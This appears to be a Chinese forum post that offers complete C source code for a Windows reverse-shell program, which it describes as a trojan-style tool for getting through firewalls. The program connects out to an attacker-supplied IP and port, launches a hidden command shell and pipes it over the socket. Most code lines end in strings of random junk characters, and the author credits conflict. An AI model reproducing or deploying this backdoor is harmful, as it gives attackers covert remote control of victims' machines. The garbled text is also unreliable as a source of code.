这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g!k'tizYD
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/* ============================== ON$^_l/c
Rebound port in Windows NT &f\ng{
By wind,2006/7 L%7?o:
===============================*/ |VC/(A
#include b~Qd9Nf
#include 05<MsxB"w
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#pragma comment(lib,"wsock32.lib") ^PCshb##
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void OutputShell(); a*8^M\>m4
SOCKET sClient; p^LUyLG`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9tnW:Nw~
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void main(int argc,char **argv) =a_B' ^`L
{ w:}RS.AK
WSADATA stWsaData; 8#Q=CTjF
int nRet; iCouGd}
SOCKADDR_IN stSaiClient,stSaiServer; _~M*XJ] `
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if(argc != 3) >D';i\2j&
{ jocu=Se@
printf("Useage:\n\rRebound DestIP DestPort\n"); wHQyMq^
return; |7jUf$Q\p
} l6X\.oI
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4g.y$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LWb5C{
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stSaiClient.sin_family = AF_INET; #_tixg
stSaiClient.sin_port = htons(0); 2<aBUGA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]hBp
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B=:7N;BT
{ ZQHANr=
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printf("Bind Socket Failed!\n"); ]JeA29
return; lW,rzJ1
} B_k[N}|zD
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stSaiServer.sin_family = AF_INET; =$B:i>z<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pP&TFy#G+'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A22h+8yG
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,qgph^C
{ 89>U Koc?
printf("Connect Error!"); RNyw`>
return; N1RZ
} +_8*;k@F'
OutputShell(); r@3VN~
} <Gy)|qpK[
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void OutputShell() +h6cAqm]
{ )g9&fGYf
char szBuff[1024]; i;1aobG
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; \e5bxc
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `0tzQ>ZQq
STARTUPINFO stStartupInfo; TR8<=
char *szShell; {XMF26C#
PROCESS_INFORMATION stProcessInformation; g/b_\__A
unsigned long lBytesRead; @)>9l&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2$^n@<uZ@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ).TQYrs
stSecurityAttributes.lpSecurityDescriptor = 0; ~+{OSx<S
stSecurityAttributes.bInheritHandle = TRUE; 7m6@]S6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CT@JNG$<"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .kSx>3
6@-VLO))O
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Kr!(<i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0x Vue[ep
stStartupInfo.wShowWindow = SW_HIDE; P1b5=/}:V
stStartupInfo.hStdInput = hReadPipe; vMsb@@O\ \
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \gRX:i#n
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GetVersionEx(&stOsversionInfo); LYPjdp2>"o
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switch(stOsversionInfo.dwPlatformId) qALlMj--m
{ 33lD`4i+
case 1: <wge_3W#
szShell = "command.com"; ~3Y)o|D3
break; H gMLh*
default: +53 Tf
szShell = "cmd.exe"; 0^4uZeW?
break; ZPWY0&9
} ~^QL"p:5|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AvdxDN
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send(sClient,szMsg,77,0); ] Cpd`}'
while(1) MP\$_;&xB
{ I"4j152P|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); CUgXpU*
if(lBytesRead) G\S\Qe{P~
{ PW"G]G,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V-U,3=C
send(sClient,szBuff,lBytesRead,0); >OVi{NyT
} N\ ?%944R
else Y,OSQBgk
{ P g.PD,&U
lBytesRead=recv(sClient,szBuff,1024,0); 6LRI~*F=3
if(lBytesRead<=0) break; HDUtLUd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ml` f+$
} |ahleu
} [#>ji+%=
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return; =.,]}
}